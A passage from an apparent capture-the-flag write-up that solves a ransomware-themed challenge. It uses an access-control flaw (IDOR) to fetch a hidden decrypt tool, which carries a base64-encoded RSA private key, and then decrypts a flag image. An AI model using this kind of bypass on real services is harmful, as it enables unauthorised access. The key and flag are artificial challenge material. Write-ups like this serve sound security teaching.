MaApnUEloK1Q4YzdnNlQwamNrRFVtVUpveG5YL3N4OEErbUQ5Ukw4T0l2OWtEVk94dUFNWHlEVHR6VFdIcDVhN0hGCjYzbU9Pdk9SakowYkR5VWZkUjg3TVFLQmdDcW53N0puNkJIajNYTzhFa0gwT096TlVoWVcvWUV0YkVMaEJNaEEKL1QycVdPU3JXSnVMVUVKT0NSeEUxQXhXVTdzWUJGU0h1NUl4UXR1amJpaDhRdlpzNEJoZllBQUJESnlQRzZUegpMTEFJcTNVL2YwZTN6aTZtVUcza21WYm9RSjVyaEh0aVpBY1h0VkZqekF0alBrb1NHMG8ySThkRnhUOHhNdVViCk01YWRBb0dBVDAwaUZoUTN4V2JoN3FUbjNJR2Nyc2JLZ0JEQndrczI4RzhqREdqQVdGZlZiQUxsU1JmOUdoMVAKS0R1V3JUQXN1eVUwZGh1RnZYTVV3TkxSM0dFZTdndlBPTktFcHd2ek5mL1duZ2ZoUVYwemJCZUp4SVE5cnRUSwpCYlNvb3N4VXhTQ2IxR1NHYkR3NHRBYjJRaEd5eUFIRUhrUGMyaEppN0dwZjAvUCtBdVk9Ci0tLS0tRU5EIFJTQSBQUklWQVRFIEtFWS0tLS0t")

files = os.listdir('.')

enc_files = [f for f in files if f.endswith('.enc')]
for filename in enc_files:
with open(filename, 'rb') as f:
encrypted_data = f.read()
print(f"Decrypting {filename}...")

try:
decrypted_data = decrypt(KEY_CONST, encrypted_data)
with open(filename[:-4], 'wb') as out:
out.write(decrypted_data)
print(f"Data written to {filename[:-4]}")
except Exception as ex:
print(f"Failed")

But there is no access control, it's just the link being hidden. So we can request http://xd33r.web.midnightflag.fr:31081/api/beacon/d2f2b880-1bb8-4cf3-a46e-c23e34fbdede/decrypt_tool and then retrieve the script with the private key.

1
$ printf 'aW1wb3J0IGJhc2U2NA0KaW1wb3J0IG9zDQpmcm9tIENyeXB0by5QdWJsaWNLZXkgaW1wb3J0IFJTQQ0KZnJvbSBDcnlwdG8uQ2lwaGVyIGltcG9ydCBQS0NTMV9PQUVQLCBBRVMNCmZyb20gQ3J5cHRvLlJhbmRvbSBpbXBvcnQgZ2V0X3JhbmRvbV9ieXRlcw0KDQpkZWYgZGVjcnlwdChwcml2YXRlX2tleSwgZW5jcnlwdGVkX2NvbnRlbnQpOg0KICAgIHByaXZhdGVfY2lwaGVyX3JzYSA9IFBLQ1MxX09BRVAubmV3KFJTQS5pbXBvcnRfa2V5KHByaXZhdGVfa2V5KSkNCiAgICBjbGVhcl9hZXNfa2V5ID0gcHJpdmF0ZV9jaXBoZXJfcnNhLmRlY3J5cHQoZW5jcnlwdGVkX2NvbnRlbnRbOkFFUy5ibG9ja19zaXplKjE2XSkNCiAgICBjbGVhcl9hZXNfaXYgPSBwcml2YXRlX2NpcGhlcl9yc2EuZGVjcnlwdChlbmNyeXB0ZWRfY29udGVudFtBRVMuYmxvY2tfc2l6ZSoxNjpBRVMuYmxvY2tfc2l6ZSoxNioyXSkNCiAgICBkZWNyeXB0X2NpcGhlciA9IEFFUy5uZXcoY2xlYXJfYWVzX2tleSwgQUVTLk1PREVfQ0JDLCBjbGVhcl9hZXNfaXYpDQogICAgcmV0dXJuIGRlY3J5cHRfY2lwaGVyLmRlY3J5cHQoZW5jcnlwdGVkX2NvbnRlbnRbQUVTLmJsb2NrX3NpemUqMTYqMjpdKQ0KDQpLRVlfQ09OU1QgPSBiYXNlNjQuYjY0ZGVjb2RlKCJMUzB0TFMxQ1JVZEpUaUJTVTBFZ1VGSkpWa0ZVUlNCTFJWa3RMUzB0TFFwTlNVbEZjRUZKUWtGQlMwTkJVVVZCYmsweGRUWkdNamc0ZHpCRFRUbDNSalZwYTBoeFUyUnBkVXc1WjFORlkySjVUR2hNVjA5eFEwaGFhM1JxVURrMENsRTJTamN5ZVRaR05VOVhVRWhKYTFoNlNrZEVhM2RVTkZOdFRXaFhhWEJwUlZaQ2VUUndNRUpQVldSUllrTlVjVkk0YmpKRFVtVXZSM0pJZUZKemFuY0tkVFZOUlZKNldGVkNabmh4VDBoeFlVOVNPVGswVlVkRWF6Z3JRMmt2TTBFclF6Z3djelkwTjJKcFkwMHpZV2RIYUdGQ1MybFpjbEJvTm1GbldIZFlRZ3AxWVVGVFJtMUxOWFpVUzBaVlR6VlFUVGxaT1hWNFlYZExOSFZHY2paVlIzTnVVelpIY2pkNU0ybFlWM3BKUW1FeFpqRjRRa3AzVkM5VWFYSkJNRTluQ205dlpsZEhTVVo1YW1ZMkwwcEdibWRwY1doUVJFSXJURzF2Y0V0SVZWUkpPVWN4YWxRNGRHTk9iVlZ3VmtrMVVUSnFVMVpJVFZkcWVXUk5VWFowZG1NS1RrUXpaRlJrTWpobGFsQk5iRkoxVTJkSlR6UnRaMFpCZDBKdk0yUkdja2gyU1RCWmFuZEpSRUZSUVVKQmIwbENRVUV6WkZCRVVHWm5TbWRqT1d4bFVBcG9UVU4wUWxkTlRUQklXRXQwYUZsRVUwOVNTa293YzBsQ2JqWklaV2Q2Y1RGSGIxSk5VMlYwWTNKc1RraFpaV0pFVDBwU2JUTk9UVnBVU25Wc2MwZDJDbWQzUjJack1UUTNZelpNY1U5TFZGaFFjaTlMVDFGUk5rbHdOVUp2ZFVWWVdHWkhNelJNZFdkbFdHSkVXRmQxYlZacGVWSm1kVEIxWjBkMlQzRndiVzBLUzA1alpWRkNTM1IyVTA0NWFYaG9XVEoyY2taMFEySlFNWHB0ZGtwdFRIY3hTRkExZWxSc1ZraFRSMU5pYjBGSlUxVmFRVmwyUlZoemRTOVpaek41TVFvME4xWjZlV2hDVTBKTlFpOWFUbmh0ZEZaWE5TdHFiVFpXYWxSUFlVbFZSbFYzZFZORVZqTnJaRmhpTURsSGJrdFVZVVJZUnpOamJXcExZMlphZDNCb0NscHBXWFJtZG10eUwzZ3dWako2VHpsM1RUVmpTa2QwTmtkWlZITlhWMVUzTjAxb1JqTkJSRFJxUWxkNVdGZzJkbFJVVGxJMGIwTm1hMDFZYlVOU09USUtNVXRvUlc5QlJVTm5XVVZCZEd0MmFreEZRalU1Um1Jek1saGhURVZMZFVJMGN5dEpOVEowV2xOcU0weFZVVWx2YmxoMFlrVTNlR3R5U1ZoWVVHaHVWQXBuUmk4M1RHaHdNQzlXTlVNdlZ6VmhRalZEWlhoS1EwbHNUR3ByTWxnNVRFaHZWMGRaUWs5eFZYSlBObmxLYm5CNFlsa3dXRWhtUW1OcE1rZHljbmxSQ2pKcUwyb3pkbXczVUVzMlQwdGxWRlpsWlZncmNtRTNXVUozYlU5SGQwUmliVkU1UkRaVlFpOWhWMGM1ZDBWSGN5OXFkV2hMWjBWRFoxbEZRVE5FVEdNS1VqQldhbmsxTUcxUmRFdG9hamsxTDA1NFlURjVRWHBVVVVOSVNuVkJjRU5VTDJ4cU5VTmxaMWxuYkhSV0wyZ3ZSVkYyYTJzeFZXOVplRE01WkVONUx3cEZUbVUxUmtOQldqaE5Va1EzU1dnNGJGQTNjVkZWWkU1SVpXbEZUVWRIYTJkS2VIUldOVzl6TlVKcGNqZFJhWGhEYVdRek1HSnFZazVLZDBNMGIzQnBDalZMWTNoeU1FdDRkVkV4U1RGcGRtc3JUSHBQVDBaTmMwRTJha0ZoVlc5Q01YSjZlVzl2T0VObldVSkhhRFV6YUVwVFJVdEdRWFpaY1hwRGNYaHVRaXNLV0VkV1VHaEJNRXd5UmxOMGFIWlNTREpqTkc1SFMwTnhlbmt5ZWpkVVNWUllVVGxHYVhnM2QxZEhVRFozV2swM2EyZDVZbUZKUVhaaGEyNUJha3QwTXdwd05XMVNNbTl1ZG1KWVNUWTBja2MzZFZBNFVrNDFVVEJ3VFVOVVNXOXROSEI2WkRKeldHVnZlSEpDYVV4U1RXSkZiekI1YWxrNGRsTmtZMlJSTTNWNkNrRkhSRFpCWlZwS01ETk5hWGt3V1haS2MzSTBRVkZMUW1kUlEyRkRVVmx2TkZSVFdGZG1OVXN6Ym1SbldXWXZVamxLVVVST2JESk5lbXhaUXpWVlNsRUtSMkZCTUVkVWFFeG1SbUVyU2tSdldFaGFLM1pLVUVsVmNrRlZRMEZOT1VSdkwxSXpWRXRHTkRKSlN5OWplR0ppVkRWMGJGRk9RMFZpU1ZGVlMwTnVad3BSWnpCSVN5OVlaRTVvYTBkMmJqZERTVXQyYW5wS1IycE5jMDlrTXpkeFoxRjNhM2hzWkVWdVNqRkVaR0ZYVmt0VWVVWm1TekprZEhjNU1tUnBZMVJTQ21ncmJXWndkMHRDWjFGRE1XTnNNRlZ2VFhwYWIxSXhSVFZRWkVsQlZXUTBTMnhzYlc5UlJqTlBVa3hoU2pKTVEyUlpOemx2V0VWcmMxSlhNVVpFYmswS05HcE9WbnAwYXpoRk4wUklkblpyYUVob01XZDZaSFEyYURobFlsTXlaWEkyVGtzMVpHOWFXVE5wU1ZkeVFucDRiV3hPVXpFeFRsTlZiU3RtTW0xWVN3cHhhM2xoYlU0dmMyeENUVXBKUjFFNFNFaHFkbUpqTWtoRVkxcFlRbU5MV21GcGFFSldiVUZpVUhWT01HeExiRGRWUmxwT1pFRTlQUW90TFMwdExVVk9SQ0JTVTBFZ1VGSkpWa0ZVUlNCTFJWa3RMUzB0TFE9PSIpDQoNCmZpbGVzID0gb3MubGlzdGRpcignLicpDQoNCmVuY19maWxlcyA9IFtmIGZvciBmIGluIGZpbGVzIGlmIGYuZW5kc3dpdGgoJy5lbmMnKV0NCmZvciBmaWxlbmFtZSBpbiBlbmNfZmlsZXM6DQogICAgd2l0aCBvcGVuKGZpbGVuYW1lLCAncmInKSBhcyBmOg0KICAgICAgICBlbmNyeXB0ZWRfZGF0YSA9IGYucmVhZCgpDQogICAgICAgIHByaW50KGYiRGVjcnlwdGluZyB7ZmlsZW5hbWV9Li4uIikNCiAgICAgICAgDQogICAgICAgIHRyeToNCiAgICAgICAgICAgIGRlY3J5cHRlZF9kYXRhID0gZGVjcnlwdChLRVlfQ09OU1QsIGVuY3J5cHRlZF9kYXRhKQ0KICAgICAgICAgICAgd2l0aCBvcGVuKGZpbGVuYW1lWzotNF0sICd3YicpIGFzIG91dDoNCiAgICAgICAgICAgICAgICBvdXQud3JpdGUoZGVjcnlwdGVkX2RhdGEpDQogICAgICAgICAgICAgICAgcHJpbnQoZiJEYXRhIHdyaXR0ZW4gdG8ge2ZpbGVuYW1lWzotNF19IikNCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBleDoNCiAgICAgICAgICAgIHByaW50KGYiRmFpbGVkIikNCg==' | base64 -d > decrypt_d2f2b880-1bb8-4cf3-a46e-c23e34fbdede.py

Let's run it:

1
2
3
$ python decrypt_d2f2b880-1bb8-4cf3-a46e-c23e34fbdede.py
Decrypting flag.png.enc...
Data written to flag.png

The flag is: MCTF{N1c3_1d0r_TbH!@;)}

Share